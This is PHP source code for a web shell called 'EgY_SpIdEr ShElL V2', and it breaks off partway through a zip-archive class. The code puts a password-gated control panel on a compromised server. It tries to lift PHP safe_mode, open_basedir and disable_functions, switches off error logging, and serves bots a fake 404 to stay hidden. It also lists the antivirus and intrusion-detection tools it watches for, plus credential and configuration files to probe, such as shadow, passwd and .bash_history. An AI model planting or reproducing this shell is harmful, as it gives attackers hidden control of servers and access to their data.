
<?

###########################################

#           EgY_SpIdEr ShElL V2           #

#            EgY_SpIdEr                   #

#          www.egyspider.eu             #

###########################################



//Change User & Password



$tacfgd['uname'] = 'egy_spider';

$tacfgd['pword'] = 'egy_spider';





// Title of page.

$tacfgd['title'] = 'EgY_SpIdEr ShElL';



// Text to appear just above login form.

$tacfgd['helptext'] = 'EgY SpIdEr ShElL';





// Set to true to enable the optional remember-me feature, which stores encrypted login details to 

// allow users to be logged-in automatically on their return. Turn off for a little extra security.

$tacfgd['allowrm'] = true;



// If you have multiple protected pages, and there's more than one username / password combination, 

// you need to group each combination under a distinct rmgroup so that the remember-me feature 

// knows which login details to use.

$tacfgd['rmgroup'] = 'default';



// Set to true if you use your own sessions within your protected page, to stop txtAuth interfering. 

// In this case, you _must_ call session_start() before you require() txtAuth. Logging out will not 

// destroy the session, so that is left up to you.

$tacfgd['ownsessions'] = false;









foreach ($tacfgd as $key => $val) {

  if (!isset($tacfg[$key])) $tacfg[$key] = $val;

}



if (!$tacfg['ownsessions']) {

  session_name('txtauth');

  session_start();

}



// Logout attempt made. Deletes any remember-me cookie as well

if (isset($_GET['logout']) || isset($_POST['logout'])) {

  setcookie('txtauth_'.$rmgroup, '', time()-86400*14);

  if (!$tacfg['ownsessions']) {

    $_SESSION = array();

    session_destroy();

  }

  else $_SESSION['txtauthin'] = false;

}

// Login attempt made

elseif (isset($_POST['login'])) {

  if ($_POST['uname'] == $tacfg['uname'] && $_POST['pword'] == $tacfg['pword']) {

    $_SESSION['txtauthin'] = true;

    if ($_POST['rm']) {

      // Set remember-me cookie for 2 weeks

      setcookie('txtauth_'.$rmgroup, md5($tacfg['uname'].$tacfg['pword']), time()+86400*14);

    }

  }

  else $err = 'Login Faild !';

}

// Remember-me cookie exists

elseif (isset($_COOKIE['txtauth_'.$rmgroup])) {

  if (md5($tacfg['uname'].$tacfg['pword']) == $_COOKIE['txtauth_'.$rmgroup] && $tacfg['allowrm']) {

    $_SESSION['txtauthin'] = true;

  }

  else $err = 'Login Faild !';

}

if (!$_SESSION['txtauthin']) {

@ini_restore("safe_mode");

@ini_restore("open_basedir");

@ini_restore("safe_mode_include_dir");

@ini_restore("safe_mode_exec_dir");

@ini_restore("disable_functions");

@ini_restore("allow_url_fopen");



@ini_set('error_log',NULL);

@ini_set('log_errors',0);

?>

<html dir=rtl>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=windows-1256">

<title><?=$tacfg['title']?></title>



<STYLE>



BODY

 {

        SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456

}



tr {

BORDER-RIGHT:  #dadada ;

BORDER-TOP:    #dadada ;

BORDER-LEFT:   #dadada ;

BORDER-BOTTOM: #dadada ;

color: #ffffff;

}

td {

BORDER-RIGHT:  #dadada ;

BORDER-TOP:    #dadada ;

BORDER-LEFT:   #dadada ;

BORDER-BOTTOM: #dadada ;

color: #dadada;

}

.table1 {

BORDER: 1;

BACKGROUND-COLOR: #000000;

color: #333333;

}

.td1 {

BORDER: 1;

font: 7pt tahoma;

color: #ffffff;

}

.tr1 {

BORDER: 1;

color: #dadada;

}

table {

BORDER:  #eeeeee  outset;

BACKGROUND-COLOR: #000000;

color: #dadada;

}

input {

BORDER-RIGHT:  #00FF00 1 solid;

BORDER-TOP:    #00FF00 1 solid;

BORDER-LEFT:  #00FF00 1 solid;

BORDER-BOTTOM: #00FF00 1 solid;

BACKGROUND-COLOR: #333333;

font: 9pt tahoma;

color: #ffffff;

}

select {

BORDER-RIGHT:  #ffffff 1 solid;

BORDER-TOP:    #999999 1 solid;

BORDER-LEFT:   #999999 1 solid;

BORDER-BOTTOM: #ffffff 1 solid;

BACKGROUND-COLOR: #000000;

font: 9pt tahoma;

color: #dadada;;

}

submit {

BORDER:  buttonhighlight 1 outset;

BACKGROUND-COLOR: #272727;

width: 40%;

color: #dadada;

}

textarea {

BORDER-RIGHT:  #ffffff 1 solid;

BORDER-TOP:    #999999 1 solid;

BORDER-LEFT:   #999999 1 solid;

BORDER-BOTTOM: #ffffff 1 solid;

BACKGROUND-COLOR: #333333;

font: Fixedsys bold;

color: #ffffff;

}

BODY {

margin: 1;

color: #dadada;

background-color: #000000;

}

A:link {COLOR:red; TEXT-DECORATION: none}

A:visited { COLOR:red; TEXT-DECORATION: none}

A:active {COLOR:red; TEXT-DECORATION: none}

A:hover {color:blue;TEXT-DECORATION: none}



</STYLE>

<script language=\'javascript\'>

function hide_div(id)

{

  document.getElementById(id).style.display = \'none\';

  document.cookie=id+\'=0;\';

}

function show_div(id)

{

  document.getElementById(id).style.display = \'block\';

  document.cookie=id+\'=1;\';

}

function change_divst(id)

{

  if (document.getElementById(id).style.display == \'none\')

    show_div(id);

  else

    hide_div(id);

}

</script>';



<body>

<br><br><div style="font-size: 14pt;" align="center"><?=$tacfg['title']?></div>

<hr width="300" size="1" noshade color="#cdcdcd">

<p>

<div align="center" class="grey">

<?=$tacfg['helptext']?>

</div>

<p>

<?

if (isset($_SERVER['REQUEST_URI'])) $action = $_SERVER['REQUEST_URI'];

else $action = $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];

if (strpos($action, 'logout=1', strpos($action, '?')) !== false) $action = str_replace('logout=1', '', $action);

?>

<form name="txtauth" action="<?=$action?>" method="post">

<div align="center">

<table border="0" cellpadding="4" cellspacing="0" bgcolor="#666666" style="border: 1px double #dedede;" dir="ltr">

<?=(isset($err))?'<tr><td colspan="2" align="center"><font color="red">'.$err.'</font></td></tr>':''?>

<?if (isset($tacfg['uname'])) {?>

<tr><td>User:</td><td><input type="text" name="uname" value="" size="20" maxlength="100" class="txtbox"></td></tr>

<?}?>

<tr><td>Password:</td><td><input type="password" name="pword" value="" size="20" maxlength="100" class="txtbox"></td></tr>

<?if ($tacfg['allowrm']) {?>

<tr><td align="left"><input type="submit" name="login" value="Login">

</td><td align="right"><input type="checkbox" name="rm" id="rm"><label for="rm"> 

    Remmeber Me?</label></td></tr>

<?} else {?>

<tr><td colspan="2" align="center">

    <input type="submit" name="login" value="Login"></td></tr>

<?}?>

</table>

</div>

</form>



<br><br>

<hr width="300" size="1" noshade color="#cdcdcd">

<div class="smalltxt" align="center">Developed by

    <a href="mailto:egy_spider@hotmail.com">EgY SpIdEr </a>� copyright �  

     & EgY SpIdEr</div>



</body>

</html>

<?

  // Don't delete this!

  exit();

}

?>

Login As (<font color="#FF0000"><? echo $tacfgd['uname']; ?></font>) <a href="?logout=1">Logout</a></p>

<div align="right">

<?php



if(preg_match("/bot/", $_SERVER[HTTP_USER_AGENT])) {header("HTTP/1.0 404");exit("<h1>Not Found</h1>");}



$language='eng';



$auth = 0;



$name='7d1f6442a9ed59e62f93dcbc2695baa6'; 

$pass='7d1f6442a9ed59e62f93dcbc2695baa6';



//ru_RU, //ru_RU.cp1251, //ru_RU.iso88595, //ru_RU.koi8r, //ru_RU.utf8

@setlocale(LC_ALL,'ru_RU.cp1251');



@ini_restore("safe_mode");

@ini_restore("open_basedir");

@ini_restore("safe_mode_include_dir");

@ini_restore("safe_mode_exec_dir");

@ini_restore("disable_functions");

@ini_restore("allow_url_fopen");



if(@function_exists('ini_set'))

 {

 @ini_set('error_log',NULL);

 @ini_set('log_errors',0);

 @ini_set('file_uploads',1);

 @ini_set('allow_url_fopen',1);

 }

else

 {

 @ini_alter('error_log',NULL);

 @ini_alter('log_errors',0);

 @ini_alter('file_uploads',1);

 @ini_alter('allow_url_fopen',1);

 }

 

error_reporting(E_ALL);



/* ??? ????? */

$userful = array('gcc',', lcc',', cc',', ld',', php',', perl',', python',', ruby',', make',', tar',', gzip',', bzip',', bzip2',', nc',', locate',', suidperl');

$danger = array(', kav',', nod32',', bdcored',', uvscan',', sav',', drwebd',', clamd',', rkhunter',', chkrootkit',', iptables',', ipfw',', tripwire',', shieldcc',', portsentry',', snort',', ossec',', lidsadm',', tcplodg',', sxid',', logcheck',', logwatch',', sysmask',', zmbscap',', sawmill',', wormscan',', ninja');

$tempdirs = array(@ini_get('session.save_path').'/',@ini_get('upload_tmp_dir').'/','/tmp/','/dev/shm/','/var/tmp/');

$downloaders = array('wget','fetch','lynx','links','curl','get');



/* ??? ?????? ???????? ???? ????? realpath() */

//$chars_rlph = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; 

//$chars_rlph = "_-.01234567890abcdefghijklnmopqrstuvwxyz"; 

//$chars_rlph = "_-.ABCDEFGHIJKLMNOPQRSTUVWXYZ"; 

//$chars_rlph = "_-.abcdefghijklnmopqrstuvwxyz"; 

//$chars_rlph = "_-.01234567890"; 

$chars_rlph = "abcdefghijklnmopqrstuvwxyz"; 



$presets_rlph = array('index.php','.htaccess','.htpasswd','httpd.conf','vhosts.conf','cfg.php','config.php','config.inc.php','config.default.php','config.inc.php',

'shadow','passwd','.bash_history','.mysql_history','master.passwd','user','admin','password','administrator','phpMyAdmin','security','php.ini','cdrom','root',

'my.cnf','pureftpd.conf','proftpd.conf','ftpd.conf','resolv.conf','login.conf','smb.conf','sysctl.conf','syslog.conf','access.conf','accounting.log','home','htdocs',

'access','auth','error','backup','data','back','sysconfig','phpbb','phpbb2','vbulletin','vbullet','phpnuke','cgi-bin','html','robots.txt','billing');



/******************************************************************************************************/



define("starttime",@getmicrotime());



if((!@function_exists('ini_get')) || (@ini_get('open_basedir')!=NULL) || (@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;} else{$open_basedir=0;};



set_magic_quotes_runtime(0);

@set_time_limit(0);

if(@function_exists('ini_set'))

 {

 @ini_set('max_execution_time',0);

 @ini_set('output_buffering',0);

 }

else

 {

 @ini_alter('max_execution_time',0);

 @ini_alter('output_buffering',0);

 }

$safe_mode = @ini_get('safe_mode');

#if(@function_exists('ini_get')){$safe_mode = @ini_get('safe_mode');}else{$safe_mode=1;};

$version = '1.42';

if(@version_compare(@phpversion(), '4.1.0') == -1)

 {

 $_POST   = &$HTTP_POST_VARS;

 $_GET    = &$HTTP_GET_VARS;

 $_SERVER = &$HTTP_SERVER_VARS;

 $_COOKIE = &$HTTP_COOKIE_VARS;

 }

if (@get_magic_quotes_gpc())

 {

 foreach ($_POST as $k=>$v)

  {

  $_POST[$k] = stripslashes($v);

  }

 foreach ($_COOKIE as $k=>$v)

  {

  $_COOKIE[$k] = stripslashes($v);

  } 

 }



if($auth == 1) {

if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)

   {

   header('WWW-Authenticate: Basic realm="HELLO!"');

   header('HTTP/1.0 401 Unauthorized');

   exit("<h1>Access Denied</h1>");

   }

}   



if(!isset($_COOKIE['tempdir'],$_COOKIE['select_tempdir'])) {

    $tempdir='./';

    $select_tempdir = '<select name=tempdir><option value="./">./</option>';

    foreach( $tempdirs as $item) {

        if(@is_writable($item)){$select_tempdir .= '<option value="'.$item.'">'.$item.'</option>';$tempdir=$item;}

    }

    $select_tempdir .= '</select>';

}else{

    if(isset($_POST['tempdir'])){$tempdir = $_POST['tempdir'];}else{$tempdir = $_COOKIE['tempdir'];}

    $select_tempdir = $_COOKIE['select_tempdir'];

}



$head = '<!-- EgY_SpIdEr -->

<html>

<head>

<meta http-equiv="Content-Language" content="ar-sa">

<meta name="GENERATOR" content="Microsoft FrontPage 6.0">

<meta name="ProgId" content="FrontPage.Editor.Document">

<meta http-equiv="Content-Type" content="text/html; charset=windows-1256">

<title>EgY_SpIdEr ShElL</title>







<STYLE>



BODY

 {

        SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456

}



tr {

BORDER-RIGHT:  #333333 ;

BORDER-TOP:    #333333 ;

BORDER-LEFT:   #333333 ;

BORDER-BOTTOM: #333333 ;

color: #FFFFFF;

}

td {

BORDER-RIGHT:  #333333 ;

BORDER-TOP:    #333333 ;

BORDER-LEFT:   #333333 ;

BORDER-BOTTOM: #333333 ;

color: #FFFFFF;

}

.table1 {

BORDER: 1;

BACKGROUND-COLOR: #000000;

color: #333333;

}

.td1 {

BORDER: 1;

font: 7pt tahoma;

color: #ffffff;

}

.tr1 {

BORDER: 1;

color: #333333;

}

table {

BORDER:  #eeeeee  outset;

BACKGROUND-COLOR: #000000;

color: #333333;

}

input {

BORDER-RIGHT:  #00FF00 1 solid;

BORDER-TOP:    #00FF00 1 solid;

BORDER-LEFT:  #00FF00 1 solid;

BORDER-BOTTOM: #00FF00 1 solid;

BACKGROUND-COLOR: #333333;

font: 9pt tahoma;

color: #ffffff;

}

select {

BORDER-RIGHT:  #ffffff 1 solid;

BORDER-TOP:    #999999 1 solid;

BORDER-LEFT:   #999999 1 solid;

BORDER-BOTTOM: #ffffff 1 solid;

BACKGROUND-COLOR: #000000;

font: 9pt tahoma;

color: #333333;;

}

submit {

BORDER:  buttonhighlight 1 outset;

BACKGROUND-COLOR: #272727;

width: 40%;

color: #333333;

}

textarea {

BORDER-RIGHT:  #ffffff 1 solid;

BORDER-TOP:    #999999 1 solid;

BORDER-LEFT:   #999999 1 solid;

BORDER-BOTTOM: #ffffff 1 solid;

BACKGROUND-COLOR: #333333;

font: Fixedsys bold;

color: #ffffff;

}

BODY {

margin: 1;

color: #333333;

background-color: #000000;

}

A:link {COLOR:red; TEXT-DECORATION: none}

A:visited { COLOR:red; TEXT-DECORATION: none}

A:active {COLOR:red; TEXT-DECORATION: none}

A:hover {color:blue;TEXT-DECORATION: none}



</STYLE>

<script language=\'javascript\'>

function hide_div(id)

{

  document.getElementById(id).style.display = \'none\';

  document.cookie=id+\'=0;\';

}

function show_div(id)

{

  document.getElementById(id).style.display = \'block\';

  document.cookie=id+\'=1;\';

}

function change_divst(id)

{

  if (document.getElementById(id).style.display == \'none\')

    show_div(id);

  else

    hide_div(id);

}

</script>';

class zipfile

{

    var $datasec      = array();

    var $ctrl_dir     = array();

    var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";

    var $old_offset   = 0;

    function uni